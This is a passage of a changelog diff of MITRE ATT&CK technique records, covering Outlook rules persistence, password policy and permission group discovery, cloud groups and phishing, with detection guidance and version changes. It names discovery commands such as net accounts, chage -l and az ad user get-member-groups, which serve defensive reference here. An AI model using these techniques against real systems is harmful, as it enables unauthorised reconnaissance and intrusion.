specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137/005", + "external_id": "T1137.005" + }, + { + "source_name": "Pfammatter - Hidden Inbox Rules", + "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.", + "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/" + }, + { + "source_name": "Microsoft Detect Outlook Forms", + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack" + }, + { + "source_name": "SilentBreak Outlook Rules", + "description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.", + "url": "https://silentbreaksecurity.com/malicious-outlook-rules/" + }, + { + "source_name": "SensePost NotRuler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/notruler" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Security" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Application Log: Application Log Content", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"Administrator\", \"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:02:26.206000+00:00\", \"old_value\": \"2021-10-15 20:18:30.700000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-10-15 16:02:44.477000+00:00", + "name": "Password Policy Discovery", + "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1201", + "external_id": "T1201" + }, + { + "source_name": "AWS GetPasswordPolicy", + "description": "Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.", + "url": "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html" + }, + { + "source_name": "Jamf User Password Policies", + "description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.", + "url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines" + }, + { + "source_name": "Superuser Linux Password Policies", + "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.", + "url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Regina Elwell", + "Sudhanshu Chauhan, @Sudhanshu_C", + "Isif Ibrahima, Mandiant", + "Austin Clark, @c2defense" + ], + "x_mitre_data_sources": [ + "User Account: User Account Metadata", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "Network", + "Identity Provider", + "SaaS", + "Office Suite" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:02:44.477000+00:00\", \"old_value\": \"2022-09-06 22:01:45.067000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][5]\": \"Identity Provider\", \"root['x_mitre_platforms'][6]\": \"SaaS\", \"root['x_mitre_platforms'][7]\": \"Office Suite\"}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Metadata)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:55.471000+00:00", + "modified": "2024-10-15 16:03:06.294000+00:00", + "name": "Permission Groups Discovery", + "description": "Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\n\nAdversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1069", + "external_id": "T1069" + }, + { + "source_name": "K8s Authorization Overview", + "description": "Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.", + "url": "https://kubernetes.io/docs/reference/access-authn-authz/authorization/" + }, + { + "source_name": "CrowdStrike BloodHound April 2018", + "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.", + "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Daniel Prizmant, Palo Alto Networks", + "Yuval Avrahami, Palo Alto Networks", + "Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Group: Group Metadata", + "Command: Command Execution", + "Application Log: Application Log Content", + "Group: Group Enumeration" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Containers", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "2.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:03:06.294000+00:00\", \"old_value\": \"2023-04-15 17:26:53.365000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.6\", \"old_value\": \"2.5\"}, \"root['x_mitre_platforms'][7]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][6]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\"}}", + "previous_version": "2.5", + "version_change": "2.5 \u2192 2.6", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0036: Group (Group Enumeration)", + "DS0036: Group (Group Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:15:33.222000+00:00", + "modified": "2024-10-15 15:51:35.759000+00:00", + "name": "Cloud Groups", + "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1069/003", + "external_id": "T1069.003" + }, + { + "source_name": "AWS Get Bucket ACL", + "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.", + "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html" + }, + { + "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022", + "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.", + "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/" + }, + { + "source_name": "Black Hills Red Teaming MS AD Azure, 2018", + "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.", + "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/" + }, + { + "source_name": "Google Cloud Identity API Documentation", + "description": "Google. (n.d.). Retrieved March 16, 2021.", + "url": "https://cloud.google.com/identity/docs/reference/rest" + }, + { + "source_name": "Microsoft AZ CLI", + "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest" + }, + { + "source_name": "Microsoft Msolrole", + "description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0" + }, + { + "source_name": "GitHub Raindance", + "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.", + "url": "https://github.com/True-Demon/raindance" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Regina Elwell", + "Isif Ibrahima, Mandiant" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Application Log: Application Log Content", + "Process: Process Creation", + "Group: Group Metadata", + "Group: Group Enumeration" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:51:35.759000+00:00\", \"old_value\": \"2023-03-21 13:33:40.625000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][2]\": \"Office Suite\", \"root['x_mitre_platforms'][3]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][1]\": \"Office 365\", \"root['x_mitre_platforms'][4]\": \"Google Workspace\"}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0036: Group (Group Enumeration)", + "DS0036: Group (Group Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 18:45:07.892000+00:00", + "modified": "2024-10-07 15:00:19.668000+00:00", + "name": "Phishing", + "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools,(Citation: cyberproof-double-bounce) or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\").(Citation: phishing-krebs)\n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1566", + "external_id": "T1566" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "phishing-krebs", + "description": "Brian Krebs. (2024, March 28). Thread Hijacking: Phishes That Prey on Your Curiosity. Retrieved September 27, 2024.", + "url": "https://krebsonsecurity.com/2024/03/thread-hijacking-phishes-that-prey-on-your-curiosity/" + }, + { + "source_name": "CISA Remote Monitoring and Management Software", + "description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a" + }, + { + "source_name": "cyberproof-double-bounce", + "description": "Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.", + "url": "https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends" + }, + { + "source_name": "Unit42 Luna Moth", + "description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.", + "url": "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + }, + { + "source_name": "Microsoft OAuth Spam 2022", + "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/" + }, + { + "source_name": "sygnia Luna Month", + "description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.", + "url": "https://blog.sygnia.co/luna-moth-false-subscription-scams" + }, + { + "source_name": "Proofpoint-spoof", + "description": "Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.", + "url": "https://www.proofpoint.com/us/threat-reference/email-spoofing" + }, + { + "source_name": "Palo Alto Unit 42 VBA Infostealer 2014", + "description": "Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.", + "url": "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Philip Winther", + "Ohad Zaidenberg, @ohad_mz", + "Liora Itkin", + "Liran Ravich, CardinalOps", + "Scott Cook, Capital One" + ], + "x_mitre_data_sources": [ + "File: File Creation", + "Network Traffic: Network Traffic Flow", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "Identity Provider", + "Office Suite" + ], + "x_mitre_version": "2.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-07 15:00:19.668000+00:00\", \"old_value\": \"2024-03-01 16:56:32.245000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\\n\\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools,(Citation: cyberproof-double-bounce) or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \\\"thread hijacking\\\").(Citation: phishing-krebs)\\n\\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)\", \"old_value\": \"Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\\n\\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \\n\\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\\n \\n-Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \\n+Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools,(Citation: cyberproof-double-bounce) or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \\\"thread hijacking\\\").(Citation: phishing-krebs)\\n \\n Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf\", \"old_value\": \"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.6\", \"old_value\": \"2.5\"}, \"root['x_mitre_platforms'][4]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Office 365\"}, \"root['x_mitre_platforms'][5]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"phishing-krebs\", \"description\": \"Brian Krebs. (2024, March 28). Thread Hijacking: Phishes That Prey on Your Curiosity. Retrieved September 27, 2024.\", \"url\": \"https://krebsonsecurity.com/2024/03/thread-hijacking-phishes-that-prey-on-your-curiosity/\"}}}", + "previous_version": "2.5", + "version_change": "2.5 \u2192 2.6", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
